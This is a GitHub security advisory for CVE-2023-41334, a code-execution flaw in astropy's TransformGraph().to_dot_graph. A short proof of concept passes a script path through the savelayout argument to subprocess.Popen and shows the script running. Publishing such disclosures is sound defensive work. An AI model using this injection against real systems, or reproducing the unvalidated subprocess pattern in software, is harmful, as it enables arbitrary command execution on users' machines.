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RCE in TranformGraph().to_dot_graph function

High severity GitHub Reviewed Published Mar 18, 2024 in astropy/astropy • Updated Mar 18, 2024

Package

pip astropy (pip)

Affected versions

< 5.3.3

Patched versions

5.3.3

Description

Summary

RCE due to improper input validation in TranformGraph().to_dot_graph function

Details

Due to improper input validation a malicious user can provide a command or a script file as a value to savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen.
https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539
Although an error will be raised, the command or script will be executed successfully.

PoC

$ cat /tmp/script
#!/bin/bash
echo astrorce > /tmp/poc.txt
$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from astropy.coordinates.transformations import TransformGraph
>>> tg = TransformGraph()
>>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph
    stdout, stderr = proc.communicate(dotgraph)
  File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate
    stdout, stderr = self._communicate(input, endtime, timeout)
  File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate
    input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not 'str'
>>> 
$ cat /tmp/poc.txt
astrorce

Impact

code execution on the user's machine

References

@eteq eteq published to astropy/astropy Mar 18, 2024
Published by the National Vulnerability Database Mar 18, 2024
Published to the GitHub Advisory Database Mar 18, 2024
Reviewed Mar 18, 2024
Last updated Mar 18, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

0.045%
(16th percentile)

CVE ID

CVE-2023-41334

GHSA ID

GHSA-h2x6-5jx5-46hf

Source code

Credits

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